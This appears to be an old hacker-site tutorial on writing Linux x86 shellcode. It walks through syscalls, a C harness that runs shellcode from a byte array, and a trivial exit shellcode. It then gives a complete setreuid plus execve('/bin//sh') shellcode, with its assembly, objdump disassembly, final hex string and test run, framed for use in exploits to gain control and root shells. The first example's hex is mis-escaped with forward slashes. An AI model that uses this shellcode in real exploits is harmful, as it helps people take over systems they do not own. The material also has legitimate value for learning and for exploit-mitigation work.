```
   .      .        .
._ | _.  .|_  _. _.;_/
[_)|(_]\_|[ )(_](_.| \.net
|      ._|
```

"LINUX SHELLCODING REFERENCE"

Author: Nexus
Email: nexus.hack@gmail.com
Website: http://www.playhack.net

Introduction

One of the most important concept of "exploiting art" (as i like to call it :P) is know hot to make the victim machine make exactly what you strictly want to make it do.
After having focused the bug where the system falls, we need to know how to disfrute that lack of security for our commonly main aim: gain full control on the machine.

The shellcode is literally a "code" that returns a remote (or local) shell when executed. This meaning has been evolved in the time, and actually the "shellcode" represent a customized excaped hex code inserted in an exploit in order to accomplish a particular task.

Beware, it's not all that easy because it needs some good knowledges of Assembler and kernel (i'll use Linux Kernel as reference), but in the time you'll find it quite funny :)

1) Let's get into

A shellcode it's nothing else than the excaped hex complementar of builted Assembler code.
In this tutorial we're not going to deal with the exploits code writing, but simply with the shellcoding side of exploit: let's see how we'll check out if our shellcode works out well.

This is an example C code used to try out our codes, there several ways to write this but they works out all the same.

```
/* shellcode.c */
#include <stdio.h>
#include <stdlib.h>

int main() {
        char scode[] = "SHELLCODE";
        (*(void (*)()) scode)();
}
```

Using this C "template" we're gonna try out the shellcodes we're going to write.

2) Linux Syscall

The shellcodes contains the directives of the task we want to accomplish, and this actions are effectively took in action by the so called "syscalls": the linux kernel has a list of about 190 syscall that has a numeric id called from assembly instructions.
For example, to make the program exit we're gonna call the "1" syscall through this x86 Assembly command:

```
mov al, 1
```

This instruction to be understood require a little knowledge of x86 Assembler, so

let's have a little resume:
	- eax, ebx, ecx, edx: these are the General Purpose Registers of the x86 platform;
	- ax, bx, cx, dx: these permits to access to the lower 16 bits of above registers;
	- al, bl, cl, dl: these instead premits to access to the lower 8 bits;

Syscall which require until 6 arguments are called to the General Purpose Registers: to get a good overview i suggest you to visit this page: http://www.playhack.net/docs/syscall.html

Let's get back to the previous instruction:
	mov al, 1
As we may now know, with tihs command we call the 1 identified syscall (exit) in the "al", that means in the lower 8 bits of the register.
To make this action effective, we can interface with the linux kernel using the command:
	int 0x80
This interface is standard in all Linux systems and permits to make active the shellcodes we're gonna write.

3) The first Shellcode

Now that we got a general idea of how we can use Linux Syscalls and x86 Assembly, we can try to write our first ASM code that we'll later convert into shellcode's hex charaters.

```
	; exit.asm
	[SECTION .text]
	global _start
	_start:
		xor eax, eax
		mov al, 1
		xor ebx, ebx
		int 0x80
```

Let's analize line by line the whole code.
	- xor eax, eax: reset the eax General Purpose Register;
	- mov al, 1: we call the linux syscall number 1 (that simply make the program exit);
	- xor ebx, ebx: make the ebx register zero;
	- int 0x80: we interface with the kernel and run out the program.

Try to compile and run the code using the following commands:
```
	$ nasm -f elf exit.asm
	$ ld -o exiter exit.o
	$ ./exiter
```

The program will simply exit with no errors in output.
Actually we got a well running ASM code which we want to include into an exploit in order to make this code run in remote or whatever: let's convert this code into excaped hex code!
We already got the binary of our program (we've created it before) so we just need to disassemble it:
```
	$ objdump -d exiter
```

This will be quite a common output:
```
	exiter:     file format elf32-i386

	Disassembly of section .text:
```

```
        08048080 <_start>:
         8048080:       31 c0                   xor    %eax,%eax
         8048082:       b0 01                   mov    $0x1,%al
         8048084:       31 db                   xor    %ebx,%ebx
         8048086:       cd 80                   int    $0x80
```

As we can see the disassembly prints us out our assembly code on the last coloumn, instead in the center coloumn we got exactly the hex we need to create our shellcode:

```
        31 c0
        b0 01
        31 db
        cd 80
```

As it comes the result shellcodes will be:

```
        /x31/xc0/xb0/x01/x31/xdb/xcd/x80
```

Let's try out this shellcode with our C template, that's how it looks:

```
        /* shellcode.c */
        #include <stdio.h>
        #include <stdlib.h>

        int main() {
                char scode[] = "/x31/xc0/xb0/x01/x31/xdb/xcd/x80";
                (*(void (*)()) scode)();
        }
```

It works! ;)
Cheers! You finally created your first shellcode.

3) A bit harder

Ok, now we learnt how the kernel works out and how to use it in order to create shellcodes for our exploits.
But let's try to do something more difficult and more useful: the most common use for a shellcode is to return a shell (/bin/sh) when executing it, and that's what we're going to do right now :)

The main concept of creating a good shellcodes is considering the drop of privileges: if the exploited software doesn't require root privileges and if doesn't drop them at exploiting, the shellcodes will only returns the common user shell.

This shellcode has been written by Omni and is a stack based shellcode.
Let's analize it.

```
        ; getshell.asm
        global _start

        _start:
                ; stands for setreuid(uid_t ruid, uid_t euid)
                xor eax, eax            ; reset the eax register
                xor ebx, ebx            ; reset the ebx register
                xor ecx, ecx            ; reset the ecx register
                xor edx, edx            ; reset the edx register

                mov al, 70              ; insert 70 in eax, because the
                                        ; setreuid is syscall #70

                int 0x80                ; interface with the kernel to
```

```
                                    ; make the syscall active

                ; stands for execve (const char *filename, char *const argv[],
char *const envp[])
                push ecx                ; insert 4 byte null from ecx
                                        ; in the stack

                push 0x68732f2f         ; insert //sh in the stack
                push 0x6e69622f         ; insert /bin in the stack


                mov ebx, esp            ; insert "/bin//sh" in the ebx
                                        ; through esp

                push ecx                ; insert 4 byte null
                push ebx                ; insert ebx in the stack

                mov ecx, esp            ; insert ebx address in ecx

                xor eax, eax            ; insert 0 in eax
                mov al, 11              ; insert 11 in eax because the
                                        ; execve() is syscall #11

                int 0x80                ; interface with the kernel
```

As you can see it's not that difficult to get a shell spawned: we set back the dropped privileges (if any) using the setreuid() syscall and then with the execve(), which permits to keep privileges, we get in return the shell.
We now just need to get the shellcode from this just like we did before, so compile the code:

```
$ nasm -f elf getshell.asm
$ ld -o getshell getshell.o
```

And then let's disassembly:

```
$ objdump -d getshell

getshell:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       31 c0                   xor    %eax,%eax
 8048082:       31 db                   xor    %ebx,%ebx
 8048084:       31 c9                   xor    %ecx,%ecx
 8048086:       31 d2                   xor    %edx,%edx
 8048088:       b0 46                   mov    $0x46,%al
 804808a:       cd 80                   int    $0x80
 804808c:       51                      push   %ecx
 804808d:       68 2f 2f 73 68          push   $0x68732f2f
 8048092:       68 2f 62 69 6e          push   $0x6e69622f
 8048097:       89 e3                   mov    %esp,%ebx
 8048099:       51                      push   %ecx
 804809a:       53                      push   %ebx
 804809b:       89 e1                   mov    %esp,%ecx
 804809d:       31 c0                   xor    %eax,%eax
 804809f:       b0 0b                   mov    $0xb,%al
 80480a1:       cd 80                   int    $0x80
```

And as we learnt before the final shellcode is:

```
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80
```

Finally the C code:

```
        /* shellcode.c */
        #include <stdio.h>
        #include <stdlib.h>

        int main() {
                char scode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\xcd\x80\x51\x68\x2f\x2f\x73\x68"
                                "\x68\x2f\x62\x69\x6e\x89\xe3\x51\x53\x89\xe1\x31\
xc0\xb0\x0b\xcd\x80";
                (*(void (*)()) scode)();
        }
```

Let's try this out:

```
        $ gcc -o shellcode shellcode.c
        $ ./shellcode
        sh-3.1$
```

If the exploited software is running with root privileges obviously the shellcode will return a "root shell" :)

4) Conclusion

As we saw the shellcode is a very personal and customized side of exploitation, and, even if it seems, it's not really that "hard" hacking :)
You just need some practise and a little knowledge of privileges system and kernel syscalls and you can forge out all the shellcodes you need!

That's all folks ;)
And have fun.